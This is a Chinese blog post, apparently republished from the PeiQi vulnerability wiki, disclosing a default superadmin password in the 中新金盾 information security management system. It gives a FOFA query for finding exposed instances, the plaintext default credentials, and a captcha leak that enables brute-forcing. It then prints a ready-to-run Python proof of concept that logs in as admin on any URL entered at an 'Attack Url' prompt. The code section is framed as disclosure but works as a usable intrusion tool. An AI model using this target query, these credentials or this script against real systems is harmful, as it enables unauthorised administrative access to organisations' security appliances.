中新金盾信息安全管理系统 默认超级管理员密码漏洞

admin 2021年3月30日16:27:43评论218 views字数 2790阅读9分18秒阅读模式

中新金盾信息安全管理系统 默认超级管理员密码漏洞



:漏洞描述🐑


中新网络信息安全股份有限公司中新金盾信息安全管理系统存在默认弱口令,登录身份为超级管理员 目前大部分使用的都受到了影响



二:  漏洞影响🐇


中新金盾信息安全管理系统


三:  漏洞复现🐋


FOFA:title="中新金盾信息安全管理系统"

看到产品手册

https://wenku.baidu.com/view/14523474cfc789eb172dc8b4.html


中新金盾信息安全管理系统 默认超级管理员密码漏洞

系统默认管理员账号密码:admin/zxsoft1234!@#$


中新金盾信息安全管理系统 默认超级管理员密码漏洞

登录页面如上,使用账号密码登录

其中泄露了大部分信息,其中包括 SMMS与FTP 及用户信息

中新金盾信息安全管理系统 默认超级管理员密码漏洞

中新金盾信息安全管理系统 默认超级管理员密码漏洞

请求  ?q=common/getcode  时返回了验证码,通过验证码可爆破账号密码等操作

中新金盾信息安全管理系统 默认超级管理员密码漏洞

四:  漏洞POC🦉

import requestsimport sysimport randomimport reimport base64import timefrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: 中新金盾信息安全管理系统 默认超级管理员密码漏洞 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url + "?q=common/getcode" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("33[36m[o] 正在获取验证码 {}?q=common/getcode ..... 33[0m".format(target_url)) response_data = response.headers['Set-Cookie'] check_code = re.findall(r'check_code=(.*?);', response_data)[0] PHPSESSID = re.findall(r'PHPSESSID=(.*?);', response_data)[0] print("33[36m[o] 验证码:{}n[o] PHPSESSID:{} 33[0m".format(check_code, PHPSESSID)) POC_2(target_url, check_code, PHPSESSID)
except Exception as e: print("33[31m[x] 请求失败 33[0m", e)
def POC_2(target_url, check_code, PHPSESSID): vuln_url = target_url + "?q=common/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Cookie":"PHPSESSID={}; check_code={}".format(PHPSESSID, check_code), "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" } data = "name=admin&password=zxsoft1234!%40%23%24&checkcode={}&doLoginSubmit=1".format(check_code) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) if "1" in response.text and response.status_code == 200: print("33[36m[o] 目标 {} 存在默认管理员弱口令 admin / zxsoft1234!@#$ 33[0m".format(target_url)) else: print("33[31m[x] 目标 {} 不存在默认管理员弱口令 33[0m".format(target_url)) except Exception as e: print("33[31m[x] 请求失败 33[0m", e)

if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) POC_1(target_url)

中新金盾信息安全管理系统 默认超级管理员密码漏洞


 五:  关于文库🦉



在线文库:

http://wiki.peiqi.tech


Github:

https://github.com/PeiQi0/PeiQi-WIKI-POC


最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

想要投稿的师傅想我啦,一起建设文库~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦🐟

知识星球会优先公开一些漏洞,同时里面不会像公众号一样一天只能一条,大家可以畅所欲言的啦~


中新金盾信息安全管理系统 默认超级管理员密码漏洞


中新金盾信息安全管理系统 默认超级管理员密码漏洞


本文始发于微信公众号(PeiQi文库):中新金盾信息安全管理系统 默认超级管理员密码漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月30日16:27:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中新金盾信息安全管理系统 默认超级管理员密码漏洞http://cn-sec.com/archives/313368.html

发表评论

匿名网友 填写信息